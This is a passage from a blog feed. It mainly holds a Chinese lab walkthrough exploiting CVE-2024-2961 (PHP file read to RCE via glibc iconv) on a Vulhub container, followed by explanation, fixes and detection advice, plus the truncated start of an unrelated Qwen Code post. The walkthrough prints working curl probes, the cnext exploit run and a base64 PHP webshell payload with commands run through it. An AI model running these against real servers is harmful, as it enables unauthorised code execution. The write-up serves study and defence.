&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;:  Undefined array key &quot;file&quot; in &amp;lt;b&amp;gt;/var/www/html/index.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;b&amp;gt;Deprecated&amp;lt;/b&amp;gt;:  file_get_contents(): Passing null to parameter #1 ($filename) of type string is deprecated in &amp;lt;b&amp;gt;/var/www/html/index.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三个信号同时成立：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;X-Powered-By&lt;/code&gt; 是 PHP/8.3.4，正是这个靶标的版本，镜像里的 glibc 是 2.36，落在受影响区间。&lt;/li&gt;
&lt;li&gt;报错把绝对路径 /var/www/html/index.php 和行号一起返回，说明 display_errors 是开的，开发模式运行。&lt;/li&gt;
&lt;li&gt;GET 请求不带 file 参数时报的是 Undefined array key &quot;file&quot;，与源码里 $_POST[&apos;file&apos;] 对得上。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还有一个问题没解决：请求从哪个参数进来。目录里只有 index.php，这个靶标是我们自己起的，源码里参数叫 file，可以直接看；如果面对完全未知的目标，参数名只能靠试探。拿 32 个常见参数名，每个都提交一次 /etc/passwd，比较响应长度：不带有效参数时响应固定 524 字节，只有真正被读取的参数会让长度变化。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ while read -r p; do
       sz=$(curl -s -o /dev/null -w &apos;%{size_download}&apos; -X POST --data-urlencode &quot;$p=/etc/passwd&quot; http://192.168.31.148:8080/)
       [ &quot;$sz&quot; != &quot;524&quot; ] &amp;amp;&amp;amp; echo &quot;参数 $p -&amp;gt; $sz 字节&quot;
     done &amp;lt; params.txt
参数 file -&amp;gt; 854 字节
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按响应长度做差分，是黑盒下定位输入点最直接的办法：不依赖报错信息，也不依赖参数名出现在页面上。参数锁定到 file 之后，再确认它到底做了什么：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -X POST -d &quot;file=/etc/passwd&quot; http://192.168.31.148:8080/index.php

File contents: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/usr/sbin/nologin
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;whatweb 给出同一组指纹：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ whatweb -a 3 http://192.168.31.148:8080/
http://192.168.31.148:8080/ [200 OK] Apache[2.4.57], PHP[8.3.4], X-Powered-By[PHP/8.3.4]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;前面 nmap 的漏洞库匹配只能说明 Apache 的版本，PHP 和 glibc 都不在它的识别范围里。要判断这个靶标到底有没有 CVE-2024-2961，得回到行为上：先确认文件读取能走到过滤器，再确认过滤器里的 iconv 真的被执行。&lt;/p&gt;
&lt;p&gt;在动手利用之前，要先把 PHP 的 stream wrapper 弄清楚，后面的命令都建立在它的语义上。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;file_get_contents&lt;/code&gt; 的参数是 URL 而不是文件路径。字符串里出现 scheme:// 时，PHP 按对应协议去取数据：file:// 读文件，http:// 发请求，&lt;code&gt;data://&lt;/code&gt; 从 URL 里直接解码出内容，&lt;code&gt;php://filter&lt;/code&gt; 则是对数据做流式处理。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;php://filter&lt;/code&gt; 的完整形式是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php://filter/[read=&amp;lt;过滤器链&amp;gt;|write=&amp;lt;过滤器链&amp;gt;]/resource=&amp;lt;数据源&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;过滤器链用竖线连接，按从左到右的顺序串行执行，每一级的输出是下一级的输入。这次要用到的三个过滤器是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;convert.iconv.&amp;lt;源编码&amp;gt;.&amp;lt;目标编码&amp;gt;：调用 glibc 的 iconv() 做编码转换，CVE-2024-2961 就在这条路径上。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zlib.inflate&lt;/code&gt;：解压 raw deflate 数据，用于把体积大的载荷压缩后放进 URL。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dechunk&lt;/code&gt;：把 HTTP chunked 编码的数据还原成原始字节，用于把数据切成指定大小的块。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;验证的目标是确认这三条通道都能走通，以及目标进程的内存布局可以从外部读到。&lt;/p&gt;
&lt;p&gt;第一步，基线读取。已知 &lt;code&gt;/etc/passwd&lt;/code&gt; 在这台容器里是 839 字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -o /dev/null -w &quot;size:%{size_download}\n&quot; -X POST --data-urlencode &quot;file=/etc/passwd&quot; http://192.168.31.148:8080/index.php
size:854
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;854 减去响应前缀 File contents: （15 字节），正好是 839 字节。&lt;/p&gt;
&lt;p&gt;第二步，确认过滤器在生效。加一层 base64：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -X POST --data-urlencode &quot;file=php://filter/read=convert.base64-encode/resource=/etc/passwd&quot; http://192.168.31.148:8080/index.php
File contents: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2Jpbjovd...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出可以用 base64 -d 还原成原文，说明 resource 之后的过滤器链确实作用在了数据上。&lt;/p&gt;
&lt;p&gt;第三步，确认 iconv 在目标进程里执行。改成 UTF-16LE 编码，ASCII 字符会被插入 0x00 字节，长度翻倍：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -X POST --data-urlencode &quot;file=php://filter/read=convert.iconv.UTF-8.UTF-16LE/resource=/etc/passwd&quot; http://192.168.31.148:8080/index.php | head -c 40 | xxd
00000000: 4669 6c65 2063 6f6e 7465 6e74 733a 2072  File contents: r
00000010: 006f 006f 0074 003a 0078 003a 0030 003a  .o.o.t.:.x.:.0.:
00000020: 0030 003a 0072 006f                      .0.:.r.o

└─$ curl -s -o /dev/null -w &quot;size:%{size_download}\n&quot; -X POST --data-urlencode &quot;file=php://filter/read=convert.iconv.UTF-8.UTF-16LE/resource=/etc/passwd&quot; http://192.168.31.148:8080/index.php
size:1693
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1693 = 15 + 839 × 2，每个字符后面多了一个 0x00。这一步很重要：它证明过滤器不是被 PHP 忽略、也不是错误降级到原样输出，而是真的调用了 iconv 并改变了字节流。&lt;/p&gt;
&lt;p&gt;第四步，多级串联。两级过滤器按顺序执行，先转 UTF-16LE 再 base64：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -X POST --data-urlencode &quot;file=php://filter/read=convert.iconv.UTF-8.UTF-16LE|convert.base64-encode/resource=/etc/passwd&quot; http://192.168.31.148:8080/index.php
File contents: cgBvAG8AdAA6AHgAOgAwADoAMAA6AHIAbwBvAHQAOgAvAHIAbwBvAHQAOgAvAGIAaQBuAC8AYgBhAHMAaAAKA...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解码后能看到 UTF-16 的字节序列，说明链式执行没有问题。cnext 的过滤器链有十几级，靠的就是这个机制。&lt;/p&gt;
&lt;p&gt;第五步，自备输入。利用时不能依赖目标上的文件，输入要由攻击者提供，用 &lt;code&gt;data://&lt;/code&gt; 把内容直接写在 URL 里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -X POST --data-urlencode &quot;file=data://text/plain;base64,SGVsbG8gdnVsaHVi&quot; http://192.168.31.148:8080/index.php
File contents: Hello vulhub
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第六步，压缩通道。载荷要塞进 URL，直接放会非常长，所以先 raw deflate 压缩、base64 编码，再让 &lt;code&gt;zlib.inflate&lt;/code&gt; 在目标上解开：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 -c &quot;import zlib,base64;c=zlib.compressobj(9,zlib.DEFLATED,-15);d=b&apos;php2shell-zlib-test-&apos;*4;print(base64.b64encode(c.compress(d)+c.flush()).decode())&quot;
K8goMCrOSM3J0a3KyUzSLUktLtEtoEAMAA==

└─$ curl -s -X POST --data-urlencode &quot;file=php://filter/read=zlib.inflate/resource=data:text/plain;base64,K8goMCrOSM3J0a3KyUzSLUktLtEtoEAMAA==&quot; http://192.168.31.148:8080/index.php
File contents: php2shell-zlib-test-php2shell-zlib-test-php2shell-zlib-test-php2shell-zlib-test-
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意这里用的是 raw deflate（wbits 为 -15），不带 zlib 头。带头的 zlib 数据交给 &lt;code&gt;zlib.inflate&lt;/code&gt; 会先报 zlib: data error，这一点在手工构造载荷时容易踩。&lt;/p&gt;
&lt;p&gt;第七步，读内存布局。&lt;code&gt;file_get_contents&lt;/code&gt; 能读 &lt;code&gt;/proc/self/maps&lt;/code&gt;，等于把目标进程的地址空间直接打印出来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -X POST --data-urlencode &quot;file=/proc/self/maps&quot; http://192.168.31.148:8080/index.php | grep -E &quot;libphp|rw-p&quot; | head -6
7ffb006c3000-7ffb007e1000 r--p 00000000 00:36 3956989                    /usr/lib/apache2/modules/libphp.so
7ffb007e1000-7ffb00c3f000 r-xp 0011e000 00:36 3956989                    /usr/lib/apache2/modules/libphp.so
7ffb00c3f000-7ffb01636000 r--p 0057c000 00:36 3956989                    /usr/lib/apache2/modules/libphp.so
7ffb016df000-7ffb016e9000 rw-p 0101c000 00:36 3956989                    /usr/lib/apache2/modules/libphp.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;libphp.so 的四段映射都在，加上 &lt;code&gt;/proc/self/maps&lt;/code&gt; 里的 libc 与匿名区，攻击者不需要任何权限就能知道代码和数据在内存里的位置。匿名区的分布可以再筛一遍：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -X POST --data-urlencode &quot;file=/proc/self/maps&quot; http://192.168.31.148:8080/index.php | awk &apos;{split($1,a,&quot;-&quot;); sz=(strtonum(&quot;0x&quot;a[2])-strtonum(&quot;0x&quot;a[1]))/1024; if ($2 ~ /rw-p/ &amp;amp;&amp;amp; sz&amp;gt;1024) print sz&quot; KB&quot;, $0}&apos; | head -5
2468 KB 563c3a9cc000-563c3ac35000 rw-p 00000000 00:00 0                          [heap]
2048 KB 7ffb00400000-7ffb00600000 rw-p 00000000 00:00 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二个区块 7ffb00400000-7ffb00600000 是 2MB 对齐的匿名可读写映射，这就是 PHP 的 Zend 内存管理器（&lt;code&gt;ZendMM&lt;/code&gt;）给一个请求分配的主堆。后面利用阶段的 Using 0x7ffb00400040 as heap 一行，指的就是这个区的末尾向前 2MB 再加 0x40，即 0x7ffb00600000 - 0x200000 + 0x40。&lt;/p&gt;
&lt;p&gt;第八步，确认 glibc 版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker exec cve-2024-2961-web-1 ldd --version | head -1
ldd (Debian GLIBC 2.36-9+deb12u4) 2.36
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.36 低于 2.39，命中漏洞区间。&lt;/p&gt;
&lt;p&gt;到这里七项能力都验证过了：任意文件读、&lt;code&gt;php://filter&lt;/code&gt;、convert.iconv、&lt;code&gt;data://&lt;/code&gt;、&lt;code&gt;zlib.inflate&lt;/code&gt;、&lt;code&gt;/proc/self/maps&lt;/code&gt;、glibc 2.36。还剩一个问题需要解释：既然 iconv 已经能执行，为什么单独一次转换不会触发溢出。&lt;/p&gt;
&lt;p&gt;原因是缓冲区的边界。iconv() 的 4 字节越界发生在输出缓冲区写满、需要写转义序列的时候。PHP 的过滤器每处理一块数据就分配一个输出缓冲区，尺寸按 &lt;code&gt;ZendMM&lt;/code&gt; 的粒度对齐，末尾通常留着余量；这 4 字节落在余量里，碰不到下一个内存块的内容，进程照常运行。要让它真正生效，需要让缓冲区的有效长度正好等于分配尺寸，把 4 字节写进相邻空闲块的第一个字段。cnext 里的 &lt;code&gt;dechunk&lt;/code&gt; 与 &lt;code&gt;convert.iconv.L1.L1&lt;/code&gt; 负责这件事：前者把数据切成固定的块，后者是 Latin-1 到 Latin-1 的空转换，内容不变但会重新分配一次缓冲区，从而让每一步的块都落在预期的位置上。&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;利用链要实现三件事：把越界 4 字节写到空闲链表保存的指针上；让后续的一次分配落在攻击者指定的地址；在那个地址上覆盖 &lt;code&gt;ZendMM&lt;/code&gt; 的函数钩子，使某次内存释放变成 system 调用。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cnext-exploit.py&lt;/code&gt; 把这套动作编排成一个请求，流程分前置检查和四个阶段。&lt;/p&gt;
&lt;p&gt;前置检查对应上一节验证的三项：&lt;code&gt;data://&lt;/code&gt; 能取数据、&lt;code&gt;php://filter&lt;/code&gt; 能处理、zlib 扩展可用。脚本依次打印：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;任何一项失败，脚本直接退出并说明缺哪一项，不会带着错误的假设往下走。&lt;/p&gt;
&lt;p&gt;第一段，定位内存。脚本通过文件读取拿到 &lt;code&gt;/proc/self/maps&lt;/code&gt;，解析每一段的起止地址、权限与文件路径，从中挑出满足三个条件的匿名区作为主堆：权限是 rw-p、大小不小于 2MB、结束地址按 2MB 对齐。然后计算 heap = 结束地址 - 2MB + 0x40。同一份 maps 里还能找到 libc 的路径，脚本把 libc 下载回来，用 pwntools 解析出 malloc、system、realloc 的偏移。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[*] Using 0x7ffb00400040 as heap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一行与上一节 maps 里的 7ffb00400000-7ffb00600000 对应：0x7ffb00600000 - 0x200000 + 0x40 = 0x7ffb00400040。&lt;/p&gt;
&lt;p&gt;第二段，构造过滤器链。脚本最终发出的请求只有一个参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file=php://filter/read=&amp;lt;过滤器链&amp;gt;/resource=data:text/plain;base64,&amp;lt;压缩后的载荷&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;过滤器链按顺序是 &lt;code&gt;zlib.inflate&lt;/code&gt;、&lt;code&gt;zlib.inflate&lt;/code&gt;、&lt;code&gt;dechunk&lt;/code&gt;、&lt;code&gt;convert.iconv.L1.L1&lt;/code&gt;，然后 &lt;code&gt;dechunk&lt;/code&gt;、&lt;code&gt;convert.iconv.L1.L1&lt;/code&gt;，再到 &lt;code&gt;dechunk&lt;/code&gt;、&lt;code&gt;convert.iconv.L1.L1&lt;/code&gt;，接着 &lt;code&gt;dechunk&lt;/code&gt;、&lt;code&gt;convert.iconv.UTF-8.ISO-2022-CN-EXT&lt;/code&gt;，最后 &lt;code&gt;convert.quoted-printable-decode&lt;/code&gt;、&lt;code&gt;convert.iconv.L1.L1&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;五组过滤器对应源码注释里的 step 0 到 step 4：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;step 0 布置堆：&lt;code&gt;zlib.inflate&lt;/code&gt; 解压载荷，&lt;code&gt;dechunk&lt;/code&gt; 与 L1 空转把数据切成 0x100 大小的块，让每一块在堆上形成独立的分配。&lt;/li&gt;
&lt;li&gt;step 1 反转空闲链表：先分配一批同样大小的块，它们被释放后会把链表顺序颠倒，这样后面的分配就能按地址从低到高进行。&lt;/li&gt;
&lt;li&gt;step 2 放入假指针：在一批块的偏移 0x48 处写入一个指向假 bin 的地址（&lt;code&gt;ADDR_FAKE_BIN&lt;/code&gt;），为第三步改链表之后做准备。&lt;/li&gt;
&lt;li&gt;step 3 触发越界：这一组把转换换成 UTF-8 到 &lt;code&gt;ISO-2022-CN-EXT&lt;/code&gt;，越界写落在相邻空闲块的链表指针上，链表末端从 0x…B00 变成 0x…B48 这种位置。&lt;/li&gt;
&lt;li&gt;step 4 覆盖堆结构：&lt;code&gt;convert.quoted-printable-decode&lt;/code&gt; 在指定地址完成一次分配，把伪造的 &lt;code&gt;zend_mm_heap&lt;/code&gt; 写进去。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./PHP%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%88%B0RCE%EF%BC%88CVE-2024-2961%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/fig-chain.png&quot; alt=&quot;利用链的五步&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三段，覆盖堆结构。覆盖的目标是 &lt;code&gt;zend_mm_heap&lt;/code&gt;，它记录了堆的元数据和一组函数钩子。脚本写入三样东西：&lt;code&gt;free_slot&lt;/code&gt; 数组里指向自定义堆的项、&lt;code&gt;custom_heap&lt;/code&gt; 结构里的三个函数指针（emalloc、efree、erealloc），以及 &lt;code&gt;use_custom_heap&lt;/code&gt; 标志。三个指针被换成 libc 的 malloc、system、realloc，标志置位之后 PHP 释放内存时会走这三个钩子；当它释放那块内容是命令的缓冲区时，efree 实际调用的是 system(命令)。&lt;/p&gt;
&lt;p&gt;第四段，发送与判定。整条链是一次 HTTP POST。命令前面被脚本拼上了 sleep 1，脚本据此看请求耗时：超过 1 秒说明 system 真的被执行了，没到 1 秒就判失败。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ ./venv/bin/python cnext-exploit.py http://192.168.31.148:8080/index.php \
     &quot;echo PD89c3lzdGVtKCRfR0VUWydjJ10pOz8+ | base64 -d &amp;gt; /var/www/html/shell2.php&quot;

[*] The data:// wrapper works
[*] The php://filter/ wrapper works
[*] The zlib extension is enabled
[+] Exploit preconditions are satisfied
[*] Using 0x7ffb00400040 as heap

     EXPLOIT  SUCCESS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回连验证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s &quot;http://192.168.31.148:8080/shell2.php?c=id&quot;
uid=33(www-data) gid=33(www-data) groups=33(www-data)

└─$ curl -s &quot;http://192.168.31.148:8080/shell2.php?c=uname%20-a&quot;
Linux 0eb54beaf8c5 6.17.10+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.17.10-1kali1 (2025-12-08) x86_64 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到 www-data。宿主机内核是 Kali 的 6.17.10，容器主机名 0eb54beaf8c5。写马能成，是因为官方 PHP 镜像的 /var/www/html 对 www-data 可写，真实环境里部署目录权限偏松的机器也有同样的问题。&lt;/p&gt;
&lt;p&gt;复现结束后，靶标容器 cve-2024-2961-web-1 已退出，Vulhub 靶标目录仍留在靶机的 /root 下，普通用户不可读。所有请求从 192.168.31.152 直接发往靶机，未经跳板，写马与命令执行的请求都会留在容器的 Apache 访问日志里。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;这一节把内存管理的背景补齐，目标是让没接触过堆利用的读者也能看懂上面几个阶段在做什么。&lt;/p&gt;
&lt;h3&gt;PHP 的内存怎么分&lt;/h3&gt;
&lt;p&gt;PHP 每个请求的内存由 &lt;code&gt;ZendMM&lt;/code&gt; 管理。它以 2MB 为页向系统申请内存，页内再按固定粒度切块：8、16、24 一直到 3072 字节，每种尺寸的空闲块串成一条链表。需要内存时从对应尺寸的链表头部取一块，用完再插回链表。空闲块的数据区开头 8 字节不存业务数据，存的是下一个空闲块的地址，链表就是靠它串起来的。&lt;/p&gt;
&lt;p&gt;这解释了两件事。第一，为什么攻击者盯着 0x100（256 字节）这个尺寸：它是过滤器缓冲区常用的尺寸，块数量多、行为稳定。第二，为什么改一个指针就够：链表节点本身就是指针，改掉指针，下一次分配就会去别处取内存。&lt;/p&gt;
&lt;h3&gt;4 字节为什么足够&lt;/h3&gt;
&lt;p&gt;在 x86-64 Linux 上，用户态地址的高 2 字节固定为 0x0000，真正有意义的是低 6 字节。iconv 越界写正好是 4 字节，落在指针的低半部分，足以把指针从 0x…B00 改到 0x…B48，也就是同一 4GB 区间内的另一个位置。即使开了 ASLR，这种改动也不需要知道完整地址，只要知道堆的基址（从 &lt;code&gt;/proc/self/maps&lt;/code&gt; 读）就能算准落点。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./PHP%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%88%B0RCE%EF%BC%88CVE-2024-2961%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/fig-freelist.png&quot; alt=&quot;空闲链表的指针被改写&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;四步怎么串起来&lt;/h3&gt;
&lt;p&gt;第一步反转链表。&lt;code&gt;ZendMM&lt;/code&gt; 释放块时把块插到链表头，所以先批量分配再批量释放，链表顺序会反过来；顺序对了，后面的分配才能连续落在相邻地址上。&lt;/p&gt;
&lt;p&gt;第二步放好假指针。改链表之后，链表末端会指向 0x…B48 这种位置，这个位置上的内容是攻击者提前写入的 &lt;code&gt;ADDR_FAKE_BIN&lt;/code&gt;。下一次分配会把这里的值当作“下一个空闲块”返回，于是分配落到了攻击者手里。&lt;/p&gt;
&lt;p&gt;第三步触发越界。越界发生在 step 3 那一组的 UTF-8 到 &lt;code&gt;ISO-2022-CN-EXT&lt;/code&gt; 转换上，4 字节写进空闲块的指针字段，链表就此偏离原本的地址。&lt;/p&gt;
&lt;p&gt;第四步覆盖堆结构。&lt;code&gt;ZendMM&lt;/code&gt; 自己的管理结构 &lt;code&gt;zend_mm_heap&lt;/code&gt; 就在这片堆上，分配落点被控制之后，攻击者可以直接写它：&lt;code&gt;free_slot&lt;/code&gt; 数组记录各尺寸链表的表头，&lt;code&gt;custom_heap&lt;/code&gt; 记录 emalloc、efree、erealloc 三个钩子，&lt;code&gt;use_custom_heap&lt;/code&gt; 决定是否使用这三个钩子。把 efree 换成 system，再让 PHP 释放命令缓冲区，命令就执行了。&lt;/p&gt;
&lt;h3&gt;为什么这条链不会崩&lt;/h3&gt;
&lt;p&gt;cnext 的作者在代码注释里解释了三点。pad 块保证每种尺寸都有连续的分配，不受进程当前堆状态影响；step 1 的反转让 step 2 的分配方向正确；step 2 的数据带 0\n 前缀，&lt;code&gt;dechunk&lt;/code&gt; 时这些块会被摘掉，避免含指针的非 UTF-8 数据进入 &lt;code&gt;ISO-2022-CN-EXT&lt;/code&gt; 转换导致报错中断。三点加起来，整条链的结果是确定的，不依赖运气。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;p&gt;修复的核心在 glibc。Debian 12 的修复版本是 2.36-9+deb12u6（安全仓库为 u7），上游从 2.40 起包含补丁；只升级 PHP 不动 glibc 没有意义，因为越界发生在 libc 的 iconv 实现里。&lt;/p&gt;
&lt;p&gt;应用层的改动是第二道防线：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不要把手里的用户输入直接交给 file_get_contents、include、require、file 这类函数。需要按名读文件时，用 realpath 解析后比对白名单前缀。&lt;/li&gt;
&lt;li&gt;拒绝带 scheme 的值。合法的文件参数不应该出现冒号，出现 php://、data://、phar://、glob:// 就直接拒绝。&lt;/li&gt;
&lt;li&gt;上传目录、缓存目录不要放在 Web 根目录下，并且不要让 Web 进程对站点目录有写权限。这次能落地 webshell，正是因为 /var/www/html 对 www-data 可写。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;运行层的加固按容器来做：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;根文件系统只读，站点目录用只读挂载，需要写的目录单独挂 tmpfs。&lt;/li&gt;
&lt;li&gt;进程以非 root 运行，限制 capabilities，必要时用 seccomp 或 AppArmor 收敛系统调用。&lt;/li&gt;
&lt;li&gt;容器里不挂载宿主的 /proc，避免 /proc/self/maps 之类的文件被读到。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;检测上，日志里出现 php://filter 或 convert.iconv 就足以告警；单次请求返回几百 KB 以上的 HTML、或者响应里出现大量 0x00 字节，都是异常信号。&lt;/p&gt;
&lt;p&gt;需要说明的是，open_basedir 挡不住这类攻击：它限制的是文件路径，不限制 stream wrapper 的过滤器执行，php://filter/convert.iconv 依然可用。allow_url_include 也无关，这里读的是本地 php:// 流。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Ambionics 的原始分析：&lt;a href=&quot;https://www.ambionics.io/blog/iconv-cve-2024-2961-p1&quot;&gt;Iconv, set the charset to RCE: exploiting CVE-2024-2961&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;利用脚本：&lt;a href=&quot;https://github.com/ambionics/cnext-exploits&quot;&gt;ambionics/cnext-exploits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;NVD 条目：&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-2961&quot;&gt;CVE-2024-2961&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Debian 安全跟踪与修复版本：&lt;a href=&quot;https://security-tracker.debian.org/tracker/CVE-2024-2961&quot;&gt;security-tracker/CVE-2024-2961&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;oss-security 公告：&lt;a href=&quot;https://www.openwall.com/lists/oss-security/2024/04/17/9&quot;&gt;2024-04-17&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;靶场：&lt;a href=&quot;https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961&quot;&gt;vulhub/php/CVE-2024-2961&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>解决 Qwen Code computer-use 在 Windows 上无法使用的问题</title><link>https://blog.mal-suen.cn/posts/2026/10/220/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/10/220/</guid><description>Qwen Code computer-use 的 Windows 原生驱动未签名：安装脚本强制验签导致安装失败，系统拒绝启动 UIAccess 程序导致窗口操控失败。本文记录两层拦截的排查与手动解决方案。</description><pubDate>Wed, 07 Oct 2026 17:30:00 GMT</pubDate><content:encoded>&lt;p&gt;computer-use 是 Qwen Code 的桌面操控能力：配置好之后，AI 可以直接读取屏幕内容、移动鼠标、点击界面、输入文字，代替人来操作本机应用。这项能力通过一个 MCP 服务器接入 Qwen Code。MCP（Model Context Protocol）是一种让 AI 工具调用外部能力的协议，这里的外部能力就是操控桌面。&lt;/p&gt;
&lt;p&gt;官方文档给出的配置流程只有两步：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;qwen mcp add --scope user node-repl npx -y @qwen-code/node-repl-mcp@0.1.7
npm install --no-save --package-lock=false @qwen-code/cua-sdk@0.20.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一步注册 MCP 服务器，第二步安装 SDK。SDK 里包含一个原生驱动程序，负责实际的屏幕读取和鼠标键盘控制。&lt;/p&gt;
&lt;p&gt;在 Windows 上执行第二步时，安装直接失败。下面记录完整的排查和解决过程。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;安装失败：驱动没有签名，安装脚本却强制验证&lt;/h2&gt;
&lt;p&gt;执行安装命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; npm install --no-save --package-lock=false @qwen-code/cua-sdk@0.20.11
...（依赖下载过程省略）
npm error command C:\WINDOWS\system32\cmd.exe /d /s /c node scripts/install-native.mjs
npm error @qwen-code/cua-sdk native installation failed: Command failed: powershell
  -NoProfile -NonInteractive -Command $signature = Get-AuthenticodeSignature
  -LiteralPath &apos;C:\...\qwen-cua-driver-uia.exe&apos;; if ($signature.Status -ne &apos;Valid&apos;)
  { throw &quot;UIAccess worker Authenticode status is $($signature.Status)&quot; }
npm error UIAccess worker Authenticode status is NotSigned
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装失败发生在 postinstall 阶段。postinstall 是 npm 的一个机制：包安装完成后，npm 会自动执行包作者预先定义的脚本，通常用来编译代码或下载附加文件。cua-sdk 的 postinstall 脚本负责下载并安装原生驱动，它在这一步终止。&lt;/p&gt;
&lt;p&gt;错误信息本身就把线索交代得很清楚：安装脚本执行了一段 PowerShell 命令，命令里调用了 &lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;，这是 PowerShell 用来查询文件数字签名状态的命令。打开包里的 &lt;code&gt;scripts/install-native.mjs&lt;/code&gt; 查看完整逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;async function requireValidAuthenticodeSignature(source) {
  const command =
